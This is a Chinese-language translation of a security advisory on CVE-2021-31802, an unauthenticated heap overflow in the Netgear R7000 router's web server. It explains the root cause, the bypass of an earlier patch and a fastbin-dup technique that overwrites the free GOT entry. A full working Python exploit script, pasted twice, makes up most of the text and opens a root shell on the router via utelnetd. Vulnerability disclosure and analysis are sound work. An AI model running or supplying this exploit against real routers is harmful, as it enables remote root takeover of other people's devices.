译者注:直接英译中后语句太过拗口,在不改变原意的情况下做了些许调整
简介
探究NETGEAR R7000中的漏洞,其允许攻击者无需认证而执行任意代码。
漏洞摘要
在受影响的netgear r7000路由器上,此漏洞可使得内网攻击者执行任意代码。
利用此漏洞无需获取认证。
此漏洞位于HTTP请求的处理过程中,对用户数据缺乏有效验证,故导致堆溢出。攻击者可利用此漏洞以root权限来执行代码。
CVE/Credit
CVE-2021-31802
独立安全研究者@colorlight2019向SSD报告了此漏洞。
影响版本
Netgear Nighthawk R7000,1.0.11.116版本及之前。
厂商响应
我们已通过Bugcrowd联系到厂商,但是,因为漏洞没有在最新固件版本即1.3.2.134上进行测试,故Bugcrowd认为其无关紧要(这是不正确的)。我们尝试再次联系他们,但之后的消息被忽略。
这是我们从Bugcrowd/厂商那里注意到的最不专业的行为,将此漏洞归类于无挂紧要,显然这是一个错误的分类。
漏洞分析
首先绕过 ZDI-20-709
的漏洞补丁,此补丁无法解决本漏洞的根本原因,即 httpd
程序允许用户通过/backup.cgi
来上传文件。
漏洞的根本原因是程序使用两个变量来表示上传文件的大小,一个变量是http post请求头中的Content-length字段,另一个则是http post请求体中文件内容的长度。
漏洞存在于函数sub_16674
中,如下图为堆溢出点。
反编译代码如下:
程序调用malloc
获取内存,用于存储文件内容,返回值保存在dword_1DE2F8
,大小为Content-Length
字段值+600,Content-Length
字段值可被攻击者控制,若能够提供合适的值,则可使malloc
返回任意大小的堆块。
memcpy
函数将http请求内容即s1
复制到dword_1DE2F8
,指定长度为v80-v91
,即http post请求体中文件内容的长度)
这便是问题所在,攻击者可用一个较小的值来控制堆缓冲区dword_1DE2F8
的大小,也可用另一个较大的值来控制长度v80-v91
,故可能导致堆溢出。
考虑因素
ZDI-20-709
补丁是检查Content-Length
之前的一个字节是否为\n
,因此只需要在前添加\n
便可绕过。虽然漏洞基本相同,但由于R6700和R7000两设备的堆状态不同,要想成功利用还需要付出许多努力。
可以对堆溢出漏洞进行fastbin dup攻击,但也不易做到。Fastbin dup攻击需要两个连续的 malloc
函数从同一个Fastbin列表中获取两个返回地址,第一个malloc
返回fd指针被堆溢出覆盖的块,第二个malloc
返回待写入数据的地址。
最大的问题是这两个malloc
之间不可调用free
,但在每次malloc
前都会检查dword_1DE2F8
。若 dword_1DE2F8
不为空则调用free
并置为0,因此需要寻找另一处调用malloc
的位置。
幸运的是,在函数sub_A5B68
内有另一处malloc
调用,并且其size参数可控。
该函数处理另一个文件上传的http请求,可用/genierestore.cgi
来触发。
但还有一个问题, /genierestore.cgi
和 /backup.cgi
两者都可能导致fopen
被调用。其内部会调用malloc(0x60)
和mallloc(0x1000)
,而malloc(0x1000)
将导致调用_malloc_consolidate
函数,该函数会破坏fastbin,因为其大小即0x1000大于max_fast
值。
我们需要找到一种方法将max_fast
更改为一个大值,这样就不会触发_malloc_consolidate
。
uClibc 中free函数的实现如下:
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]); // <-------when size is set 8 bytes, the fastbin_index(size) is -1
p->fd = *fb;
*fb = p;
}
当释放一个大小为0x8的块时, fastbin_index(size)
返回 -1,因此av->fastbins[fastbin_index(size)]
将导致越界访问。
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
// 0
/* Fastbins */
// 4
mfastbinptr fastbins[NFASTBINS];
...
}
如上malloc_state
结构体,fb = &(av->fastbins[-1])
正好指向max_fast
,因此*fb=p
赋值操作将使max_fast
变大。但在正常情况下区块大小不能为0x8,因为此时用户数据的大小为0。
因此,可首先利用堆溢出漏洞覆盖块的PREV_INUSE
标志,从而错误地指示前一个块是空闲的,malloc
后就可返回与已有块重叠的块。
如此,我们可编辑现有块元数据中的size字段,将其设置为无效值0x8,当此块被释放并挂在fastbin后,malloc_stats->max_fast
会被设置为一个大值,那么fopen
调用后将不会导致 __malloc_consolidate
,因此可进行fastbin dup攻击。
若能让 malloc
返回一个指定地址,便可将free GOT覆盖为system PLT,最后执行utelnetd -l /bin/sh
命令,即可获取root shell。
使用如下技术来提高漏洞利用的可靠性:
- 为了使
malloc
块相邻,使得堆溢出不会破坏到其他堆缓冲区,可
发送很长的payload来提前关闭tcp连接,以便/backup.cgi
请求后不再调用fopen
,两个http请求之间也不会调用另外的malloc
。 - 当用户登录/退出web管理界面时,httpd程序的堆状态可能不同,为了保持堆状态一致,可先使用错误密码登录3次,此时httpd程序将重定向到密码重置页面,如此可使得堆状态保持一致。
利用脚本
# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def gen_request(path, headers, files):
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
return request
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def send_payload(file_name_len,files):
total_payload = 'a'*(609 + 1024 * 58)
path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']
f = copy.deepcopy(files)
f['filename'] = make_filename(file_name_len)
valid_payload = gen_request(path, headers, f)
vaild_len = len(valid_payload)
total_len = 609 + 1024 * 58
blind_payload_len = total_len - vaild_len
blind_payload = 'a' * blind_payload_len
total_payload = blind_payload + valid_payload
t1 = 0
t2 = 0
for i in range(0,58):
t1 = int(i * 1024)
t2 = int((i+1)*1024 )
chunk = total_payload[t1:t2]
last_chunk = total_payload[t2:]
# print(last_chunk)
r = remote(rhost, rport)
r.send(total_payload)
sleep(0.5)
r.close()
def execute():
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x18,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x20,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
send_payload(0x18,files)
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)
post_request('/genierestore.cgi', headers, f)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x18,files)
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
post_request('/genierestore.cgi', headers, f)
magic_size = 0x48
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
post_request('/genierestore.cgi', headers, f)
free_got_addr = 0x00120920
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
send_payload(0x20,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(magic_size,files)
system_addr_plt = 0x0000E804
command = 'utelnetd -l /bin/sh'
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
post_request('/genierestore.cgi', headers, f)
def send_request():
r = remote(rhost, rport)
login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost
r.send(login_request)
a = r.recv(0x1000)
# print a
r.close()
return a
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 3):
print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
while True:
ret = send_request()
firstline = ret.split('\n')[0]
if firstline.find('200') != -1:
break
execute()# coding: utf-8
from pwn import *
import copy
import sys
def post_request(path, headers, files):
r = remote(rhost, rport)
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Disposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
r.send(request)
sleep(0.5)
r.close()
def gen_request(path, headers, files):
request = 'POST %s HTTP/1.1' % path
request += '\r\n'
request += '\r\n'.join(headers)
request += '\r\nContent-Type: multipart/form-data; boundary=f8ffdd78dbe065014ef28cc53e4808cb\r\n'
post_data = '--f8ffdd78dbe065014ef28cc53e4808cb\r\nContent-Dasposition: form-data; name="%s"; filename="%s"\r\n\r\n' % (files['name'], files['filename'])
post_data += files['filecontent']
request += 'Content-Length: %i\r\n\r\n' % len(post_data)
request += post_data
return request
def make_filename(chunk_size):
return 'a' * (0x1d7 - chunk_size)
def send_payload(file_name_len,files):
total_payload = 'a'*(609 + 1024 * 58)
path = '/cgi-bin/genie.cgi?backup.cgi\nContent-Length: 4156559'
headers = ['Host: %s:%s' % (rhost, rport), 'Content-Disposition: form-data','a'*0x200 + ': anynomous']
f = copy.deepcopy(files)
f['filename'] = make_filename(file_name_len)
valid_payload = gen_request(path, headers, f)
vaild_len = len(valid_payload)
total_len = 609 + 1024 * 58
blind_payload_len = total_len - vaild_len
blind_payload = 'a' * blind_payload_len
total_payload = blind_payload + valid_payload
t1 = 0
t2 = 0
for i in range(0,58):
t1 = int(i * 1024)
t2 = int((i+1)*1024 )
chunk = total_payload[t1:t2]
last_chunk = total_payload[t2:]
# print(last_chunk)
r = remote(rhost, rport)
r.send(total_payload)
sleep(0.5)
r.close()
def execute():
headers = ['Host: %s:%s' % (rhost, rport), 'a'*0x200 + ': anynomous']
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x18,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x20,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
files['filecontent'] = 'a' * 0x18 + p32(0x3c0) + p32(0x28)
send_payload(0x18,files)
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x3a0).ljust(0x10) + 'a'* 0x39c + p32(0x9)
post_request('/genierestore.cgi', headers, f)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(0x18,files)
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(0x20).ljust(0x10) + 'a'
post_request('/genierestore.cgi', headers, f)
magic_size = 0x48
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(magic_size).ljust(0x10) + 'a'
post_request('/genierestore.cgi', headers, f)
free_got_addr = 0x00120920
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
files['filecontent'] = 'a' * 0x24 + p32(magic_size+ 8 + 1) + p32(free_got_addr - magic_size)
send_payload(0x20,files)
files = {'name': 'mtenRestoreCfg', 'filecontent': 'a'}
send_payload(magic_size,files)
system_addr_plt = 0x0000E804
command = 'utelnetd -l /bin/sh'
f = copy.deepcopy(files)
f['name'] = 'StringFilepload'
f['filename'] = 'a' * 0x100
f['filecontent'] = p32(magic_size).ljust(0x10) + command.ljust(magic_size-8, '\x00') + p32(system_addr_plt)
post_request('/genierestore.cgi', headers, f)
def send_request():
r = remote(rhost, rport)
login_request='''\
GET / HTTP/1.1\r
Host: %s\r
Cache-Control: max-age=0\r
Authorization: Basic MToxMjM0NTY3ODEyMzEyMw==\r
Upgrade-Insecure-Requests: 1\r
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r
Accept-Encoding: gzip, deflate\r
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8\r
Cookie: XSRF_TOKEN=1222440606\r
Connection: close\r
\r
'''% rhost
r.send(login_request)
a = r.recv(0x1000)
# print a
r.close()
return a
if __name__ == '__main__':
context.log_level = 'error'
if (len(sys.argv) < 3):
print( 'Usage: %s <rhost> <rport>' % sys.argv[0])
exit()
rhost = sys.argv[1]
rport = sys.argv[2]
while True:
ret = send_request()
firstline = ret.split('\n')[0]
if firstline.find('200') != -1:
break
execute()
print('router is exploited!!!')
print('router is exploited!!!')